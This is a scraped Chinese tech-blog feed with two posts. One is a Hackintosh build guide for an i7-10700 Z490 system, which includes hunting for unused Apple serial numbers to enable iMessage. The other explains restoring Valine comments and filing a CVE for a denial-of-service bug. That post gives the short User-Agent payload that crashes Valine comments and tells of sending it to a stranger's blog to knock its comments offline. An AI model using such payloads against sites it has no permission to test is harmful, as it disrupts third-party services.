如果没有超频成功的话,主板会默认给内存恢复到合适的频率的,不同的内存体质不一样,国光上面的配置仅供大家从参考。
放个桌面,镇楼!下面这个图有点高清,确定是比较大,不过现在是 5G 时代的,大家的网速应该可以很快加载出来的吧:
kext | 说明 | 备注 |
---|---|---|
Lilu.kext | 很多其他著名 kext 的依赖,没有这个其他都跑不了 | 必须得使用 |
VirtualSMC.kext | 模拟在真实 mac 上找到的 SMC 芯片,没有这个 macOS 将无法启动 | 必须得使用 |
SMCProcessor.kext | 用于监控 CPU 温度,AMD 不适用 | 很有必要用 |
SMCSuperIO.kext | 用于监控风扇速度,AMD 不适用 | 很有必要用 |
WhateverGreen.kext | 所有 GPU 都受益于这个 kext,必备插件了。 | 必须得使用 |
AppleALC.kext | 用于 AppleHDA 修补,支持大多数板载声卡 | 强烈建议用 |
LucyRTL8125Ethernet.kext | Realtek 的 2.5Gb 网卡驱动,需要 10.15 + | 更多网卡参考 |
NVMeFix.kext | 改善与非 Apple SSD 的兼容性,有助于主动电源管理 | 可以试试看 |
USBPorts.kext | 参考这个文章:使用Hackintool定制黑苹果USB驱动 | 需要自定义 |
CPU 高低频正常,CPU 自带的核显 GFX 也可以正常识别,日常使用50多℃:
Geekbench5 单核跑分:1314,多核跑分:8687 分
可能大家不知道这是一个什么概念,参考一下:
单核跑分可以排前几名:
多核跑分可以超 i9-10900:
CINEBENCG R15 i7 10700 CPU 跑分:1740 cb
CINEBENCG R23 CPU 单核跑分:1197分,多核 9241 分:
RX550 默认是免驱的,所以不需要额外配置。
UHD630 核显,注入一下AAPL,ig-platform-id
值即可驱动点亮:
树形图展示即:
很多软件也均可以识别到双显卡,但是 Benchmark 在选择显卡跑分的时候,显示:「KBL Graphics」,这表明显卡驱动还是有些问题的。
后面最终重新调整设备显卡设备属性如下:
和之前的配置对比,主要添加了:device-id,这样可以让一些软件更好的识别当期显卡为 UHD630,而不是之前的只识别到架构的情况了(理论上不同显卡的 device-id 是不一样的)。吐槽一下,OpenCore 官方文档并没有提到要注入 device-id,这个属性还是国光我参考其他大佬的配置发现的,尝试了一下果然是有效果的,可以有效解决黑苹果某些软件无法正常识别到显卡具体型号的情况。
另外还删除了:framebuffer-patch-enable,因为仔细阅读了 OpenCore 官方文档,这样说道:帧缓冲区(其中 dGPU 是显示输出)不需要framebuffer-patch-enable
和framebuffer-stolenmem
,dGPU 就是独显的意思,我这种情况就是使用独显输出的。
单独使用核显跑分,Geekbench5 UHD630 Metal 跑分:5014,OpenCL跑分:5391 分
UHD630 核显的显存为默认的 1536MB,看到网上不少文章把显存改为 2048MB,暂时不清楚这样做的意义和作用是啥,另外又因为国光我的白苹果核显的显存默认也是 1536MB,所以显存这块国光我就没单独去打补丁了。
还要补充一个的是核显频率的问题,我们在使用 Intel Power Gadget 是可以看到核显相关的参数,即 GFX AVG 和 GFX REQ,下面简单说明下这两个参数的作用(摘自于远景论坛的一个评论):
如果 UHD630显卡上面注入的AAPL, ig-platform-id为:**07009B3E
** 或者 00009B3E
的话,此时正常情况下 GFX REQ 应该一直保持 0.33GHZ(我的白苹果MBP也是如此),只有在一些需要核显加速的场景时(比如 Final Cut Pro 预览时间轴,Screenflow 最高速硬件加速导出视频等),GFX AVG 才会正常工作,频率才可以看出明显的变化。
另外如果 UHD630显卡上面注入的AAPL, ig-platform-id为:**0300C89B
**的话,这表示将 iGPU 核显仅用于计算任务而不驱动显示器,通俗的说是隐藏核显,此时 Geekbench5 这类软件是无法单独使用 UHD630 进行跑分的,但是并不影响核显正常工作。此时正常情况下 GFX REQ 应该一直保持 1.20 GHZ,iMac 白果也是这个调度策略,只有在一些需要核显加速的场景时,GFX AVG 才会正常工作,频率才可以看出明显的变化。
单独使用独显跑分,Geekbench5 RX550 Metal 跑分:15732,OpenCL 跑分:14521 分
实际上这块 AMD RX550 可以开核和超频,刷 RX560 的 BIOS。不过这只能在 Windows 下正常使用,macOS 下无法驱动开核状态的 RX550,总的来说 RX550 作为过渡卡绰绰有余了,希望矿难早日到来,显卡恢复正常价格,到时候准备入手一个 RX5600xt 或者 RX5700xt,美滋滋儿(希望不要等很久)
因为上面咸鱼上当初话费 599 元买的 RX550 随着旧主机一起出给了网友, 详情可以看这篇文章:i5-9600KF OpenCore 0.7.1 Big Sur 升级体验 所以国光我又去咸鱼上花费 500 元淘了个成色还算不错的蓝宝石 RX460 4GB 白金版,无需 6 pin 供电的版本,甜甜圈烤机最高 71℃,拆开清灰更换硅脂后发现原有硅脂几乎没有损耗,所以我换了硅脂一顿操作后最高烤机温度还是 71℃。
默认的 RX460 在 Big Sur 下显示:Radeon RX 460/560 4 GB,2333 看来苹果官方都对这两张卡模棱两可哈:
先跑个分记录一下。
RX460 OpenCL 跑分:20443 分,Metal 跑分:21695 分:
可以看到 macOS 下 RX460 性能是 RX550 性能的 1.3 倍,这么看 RX550 真的有点智商检测卡的意思了……
CINEBENCG R15 RX 460 跑分:115.23 FPS
看到什么值得买的一个帖子,科技技术 篇十八:非正常购物之200元的矿渣RX460变560刷机分享 ,发现和我买的 RX460 一模一样,那么也跟着尝试下刷 BIOS 开核试试看把,等我好消息。
Emmm,仔细想一下,看了什么值得买里面的 RX560 跑分情况,发现还没有我的 RX460 多,而且我验证了那个帖子作者发的 RX560 的 rom 文件的 MD5 Hash 值,去ATIFLASH 官网查了下居然没有找到一模一样的 MD5 Hash,再结合网上使用 RX460 4GB 白金版 镁光颗粒的人翻车的很多,算了就不折腾了,等真正矿难了,入手新的新卡的时候再折腾把,挖个坑,以后有机会来填这个坑。
VideoProc 也正常识别到了 Intel UHD Graphics 630 核显了,H264 和 HEVC 双硬解均正常:
Hackintool 中可以看到已删除无效的 USB 接口,3.0 2.0 接口均已正常驱动, 速度均也都正常,可混插:
声卡,AppleALC 原生支持,注入 layout-id 为 51 即可正常驱动:
睡眠正常,支持键盘唤醒睡眠,睡眠状态下机箱的电源按钮会一闪一闪,感觉无伤大雅,台式机又不差这点功耗:
下面测试一下睡眠两个多小时后能不能正常唤醒,下面是完整的唤醒过程视频:
HWMonitorSMC2 可正常识别各个传感器的稳定已经风扇转速等情况:
使用 iStat Menus 也可以正常获取到各项传感器温度:
腾讯的柠檬清理也正常识别:
目前板载的 2.5G 有线网卡,默认只能跑到 100baseT ,理论上大家用的都是一个驱动:LucyRTL8125Ethernet.kext
,不过由于我使用的宽带也没有这么快,日常时也没有差别,就是感觉参数上不上很完美,等后期有精力了会更新下 Github 下面,提交新的 release。
在淘宝「小齐本本配件店」里面买的 BCM94360CD 四天线加强散热版本花了 270元,但是在 Big Sur 下默认蓝牙是无法使用的,还得需要自行添加如下 kext:
kext | 说明 |
---|---|
AirportBrcmFixup.kext | 将旧的 Broadcom 卡注入较新版本的 macOS 的附加功能 |
BrcmBluetoothInjector.kext | BrcmPatchRAM 系列 |
BrcmFirmwareData.kext | BrcmPatchRAM 系列 |
BrcmPatchRAM3.kext | 10.14 使用 BrcmPatchRAM3, 10.11-10.14 使用 BrcmPatchRAM2 更早的使用 BrcmPatchRAM |
OpenCore 官方说:苹果原装卡 和 Fenvi 制造的卡不需要这些 kext
添加完成后隔空投送和随航都正常了。测试下开个热点,发现 WiFi 速率可以跑满:
啊这,我这个 270 元的网卡居然速率最高只有 1300 Mbps,吐血了。
因为无线和蓝牙都已经驱动了,所以隔空投送自然就可以使用了:
随航无线和有线均可以正常连接:
随航模式下 iPad 的触控板可以当鼠标使用,这样就给闲置的 iPad 添加了一点点生产力了。
写这篇文章的同时,也单独在 B 站投稿了视频,主要说明了本次配置的驱动效果情况:
感兴趣的同学可以直接点击上面链接跳转到 B 站视频哦:
Github 维护项目的地址:https://github.com/sqlsec/AsRock-Z490-Steel-Legend-i7-10700
下载方式 | 下载地址 | 备注 |
---|---|---|
蓝奏云 | https://sqlsec.lanzoui.com/iG7PBr16gyj | 不经常更新,因为每次更新链接会变,得重新改文章 |
Github | https://github.com/sqlsec/AsRock-Z490-Steel-Legend-i7-10700/releases/ | 以后有新的更新会同步这里 |
OpenCore 官方建议的机型设置如下:
机型 | CPU型号 |
---|---|
iMac20,1 | i7-10700K 及其以下(8 核及其以下) |
iMac20,2 | i9-10850K(10 核) |
如果都是 10 代的 CPU,使用我这个 EFI 基本上是可以正常使用的,需要调节的地方也不多。提供下载的 EFI 默认用的是同一个 SMBIOS(机型)信息,这样大家的序列号可能都是一样的了,所以需要大家自己去配一个属于自己的机型。
下面简单提一下如何在 macOS 下设置一个自己的机型,首先需要下载 OpenCore Configurator
找到/EFI/OC/config.list
文件,使用「OpenCore Configurator」打开,找到「PlatformInfo-机型平台设置」,然后按照下图操作,现在适合自己的机型,此时就会自动生成一些符合这个机型的序列号,自动填入到配置文件中。
使用 OpenCore Configurator 可能会强制设置 CPU 型号,我们这里不需要这个操作,否则 CPU 会被识别成 i9,需要我们手动将 ProcessorType 改成 0 即可:
修改完成记得保存一下:
因为序列号会影响到 iMessage(短信)的使用,所以要想更接近白苹果的体验的话,得选择一个有效的序列号。苹果官方的序列号查询地址为:
https://checkcoverage.apple.com/cn/zh/
序列号有 3 种级别。
首先最差的就是无效序列号了。
接着就是有效的序列号,但是被人用过了,可能电话技术支持已经到期:
也可能是电话技术支持依然有效的:
但是并没有什么卵用,这表示这个序列号也被使用过了。
最完美的序列号,国光我这里尝试了很久很久终于刷到了一次:
这表示序列号存在而且还没有被激活过,看到这种序列号不要犹豫,赶紧冲!
U 盘安装没有问题的话,需要将 U 盘中的引导放入到硬盘的 ESP 分区中,Windows 下可以使用 Bootice 或者 EasyUEFI 都可以,更多教程大家自行去搜索吧,网上应该很多教程的。
至此黑苹果就全部结束了,学有余力的网友可以去阅读下 OpenCore 文档,读完你就会豁然开朗的。
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN 费用等)
微信 | 支付宝 |
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面用以感谢支持我的朋友,详情请看 打赏列表 | 国光
]]>以前 18 年的时候因为做的是安全漏扫开发的工作,所以那段时间经常接触 CVE 漏洞,但是有时候会被一些垃圾 CVE 气的缓不过气来,所以为了证明 CVE 可以真的很水,当时我自己也水了几个 CVE(打不过就加入?),如今时隔 3 年了,正好赶上博客大改版,那就顺便来水一篇文章,教大家如何水一个 CVE 吧。
全站浏览量和评论最高的文章前几天发现了一个致命的问题,就是评论突然无法正常加载了:
因为博客最近改版,Valine 也换的最新版本,可能是哪个评论和这个 Valine 冲突了,所以下面来尝试找出罪魁祸首并恢复原文评论。
首先在 LeanCloud 中「按条件过滤」出所有 Termux 文章下面的评论:
然后将筛选后的结果导出为 JSON 格式的文:
这样就备份评论成功了。
LeanCloud 自带的评论恢复功能基本上是不能使用的,首先「备份恢复」功能只有商用版本可用:
使用「数据导入」的功能,结果是覆盖式导入:
当时差点就把我的「Comment」类下的 2.3k 个评论给覆盖了(巨坑呀 一不小心可能就重头再来了):
没办法只能想其他办法了。
LeanCloud 支持一个个手动添加行,类似于这样的效果:
现在思路就是抓取添加行的数据包,看看能不能使用脚本自动化读取之前的 JSON 文件添加进去,经过 Fuzz 测试发现可以自动化添加,最终的脚本如下,相关说明都放注释里面了:
import jsonimport requests# 读取 json 文件并返回数组def get_comments(path): with open(path, 'r', encoding='UTF-8') as jsonfile: json_list = json.load(jsonfile) return json_listdef main(): # 这个是抓取提交评论的数据包的 URL url = "https://cn-n1-console-api.leancloud.cn/1.1/classes/Comment?fetchWhenSave=true" headers = { "Host": "cn-n1-console-api.leancloud.cn", "X-Lc-Ua": "LeanCloud-JS-SDK/0.0.26(Browser)",... 这里老老实实填写抓包时候的 headers ... "Accept-Encoding": "gzip, deflate" } # 读取 termux.json 位置的文件 comments = get_comments('termux.json') # 对评论进行切片 comment = comments[:50] # 考虑到评论互相引用的情况,所以得有 pid 和 rid if 'pid' in comment: pid = comment['pid'] rid = comment['rid'] else: pid = "" rid = "" # 提交评论的基础格式 data = { "ACL": {"*": {"read": True}}, "isNotified": False, "pid": pid, "rid": rid, "comment": f"{comment['comment']}", "objectId": f"{comment['objectId']}", "insertedAt": { "__type": "Date", "iso": f"{comment['insertedAt']}" }, "createdAt": { "__type": "Date", "iso": f"{comment['createdAt']}" }, "link": f"{comment['link']}", "mail": f"{comment['mail']}", "nick": f"{comment['nick']}", "ua": f"{comment['ua']}", "url": f"{comment['url']}" } # 发起提交评论的请求 r = requests.post(url=url, headers=headers, data=json.dumps(data))if __name__ == '__main__': main()
几百个评论如何找出哪些评论出问题了呢?实际上主要调整如下代码即可:
# 读取 termux.json 位置的文件comments = get_comments('termux.json')# 对评论进行切片comment = comments[:50]
通过comments[:50]
先导入前 50 个评论,如果网页刷新正常的话,再导入comments[50:100]
50-100个评论,以此类推可以很方便的找出问题评论,最终找出的 BUG 评论如下:
找到了罪魁祸首,这个评论插进去,我的评论就挂了。简单 Fuzz 发现根本问题出在了 UA 里面,这个用户评论的 UA 很短,新版本的 Valine 会根据用户的 UA 会识别用户的操作系统和浏览器类型,因为这个 UA 很短,直接导致 Valine 的相关 JS直接异常,从而导致整个评论挂了。
为了验证我这个情况不是个例,网上寻找其他使用了最新版 Vaine 的 Hexo 博客试试看,锁定了一个目标:
评论抓包改下 UA:
发包,成功将对方页面评论打瘫掉:
OK 这个虽然是一个很没有技术含量的 BUG,但是找到这个小 BUG 也消耗了不少时间,所以与其花了这么多时间不如用这个 BUG 去水一个 CVE,毕竟 Valine Github 上面也开源了,也有过千的 star,那么下面就开始去提交这个 CVE 吧。
提交 CVE 前首先得说明一下漏洞细节,可以是个人文章也可以是直接 Github 对应的项目提交 issue,国光我这里就直接在 Valine 项目下提交了 issue:
a fatal bug that can kill the comment system(用户恶意修改 UA 评论 可影响正常评论加载) #366
小细节就是尽量使用英文去描述漏洞细节,如果你英语像我一样不太行的话可以使用谷歌翻译,总之可以让老外读懂漏洞的来龙去脉就行了。
提交 CVE 的官网地址为:https://cveform.mitre.org
下面我帖一下本次申请的表单填写情况。
Report Vulnerability/Request CVE ID
,即报告漏洞或申请 CVE IDadmin@sqlsec.com
1
勾选一下「漏洞不在 CNA 列表」和 「漏洞没有被申请过 CVE 编号」:
「Vulnerability type」这里根据自己的情况选择漏洞类型,因为我这个 BUG 不好定义,所以填写了 Other or Unkown
「Other vulnerability type」因为上面漏洞类型选择的 Other,所以需要对这个漏洞进行简短的说明,国光的说明内容如下:
a fatal bug that can kill the comment system,Similar to DDOS
「Vendor of the product(s)」 产品供应商,国光这里填写的是:Valine
「Affected product(s)/code base」受影响的产品/代码库,根据情况填写 Valine
版本为 1.4.14
「Has vendor confirmed or acknowledged the vulnerability?」供应商是否确认或承认漏洞,这里当然选择 Yes
「Attack type」攻击类型,这里 Web 攻击大多数 Remote
远程的
「Impact」影响的话,国光这里勾选了Denial of Service
「Affected component(s)」受影响的组件,这里可以填写问题代码、影响的功能等
「Attack vector(s)」攻击向量,主要就是漏洞利用的 Poc,国光原文内容如下:
"ua":"Mozilla/5.0",Details can be seen in https://github.com/xCss/Valine/issues/366
主要就是贴了核心 Poc 和 Github 详情
「Suggested description of the vulnerability for use in the CVE」在 CVE 中使用的建议和描述:
Valine 1.4.14 allows remote attackers to cause a denial of service (application outage) by supplying a ua (aka User-Agent) value that only specifies the product and version.
这块的最终的呈现效果如下:
「Discoverer(s)/Credits」漏洞发现者或者组织,国光这里填的是www.sqlsec.com
「Reference(s)」漏洞参考链接,这里贴一下之前提交的 issue:https://github.com/xCss/Valine/issues/366
最后填写验证码提交我们上面填写的表单即可:
提交完之后,上述 CVE 申请的邮箱会很快收到应该邮箱:
大概意思就是你提交的漏洞我们收到了,这个漏审核成功有 CVE 编号了再通知你。
如果漏洞比较合规的话,可以很快收到 CVE 编号的回复邮件:
可以看到中午提交漏洞,晚上就收到 CVE 编号的邮件了,效率比我 18 年的时候快了很多(18 年的时候基本上得两三天时间)
在邮件的后面几可以找到自己的 CVE 编号了:
本次申请的 CVE 编号为:CVE-2021-34801
谷歌一下,发现今天很多网站已经收录了:
Bingo,完整的 CVE 申请流程就是这个样子了,过一段时间后国内的 CNVD 也会收录这个 CVE 漏洞,然后再分配一个 CNVD 编号的,溜了溜了,差不多到这就结束了,老头打了个响舌nice.mp4
CVE 的话更多的还是圈外人看起来比较高大上,实际上懂得都懂,CVE 编号多并不算什么,如果你很多比较水的 CVE 的话,只能说你这个人像国光我一样比较闲得蛋疼,所以追根到底还是看漏洞质量!建议大家水 CVE 点到为止即可。
下面分享应该 Hackerone 上一个价值 $11214 的漏洞:
https://hackerone.com/reports/1065500 (Multiple bugs leads to RCE on TikTok for Android)
漏洞详情已经披露了,可参考:TikTok for Android 1-Click RCE
这才是真的牛皮!!!
本文可能实际上也没有啥技术含量,但是写起来还是比较耗费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 | 支付宝 |
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光
]]>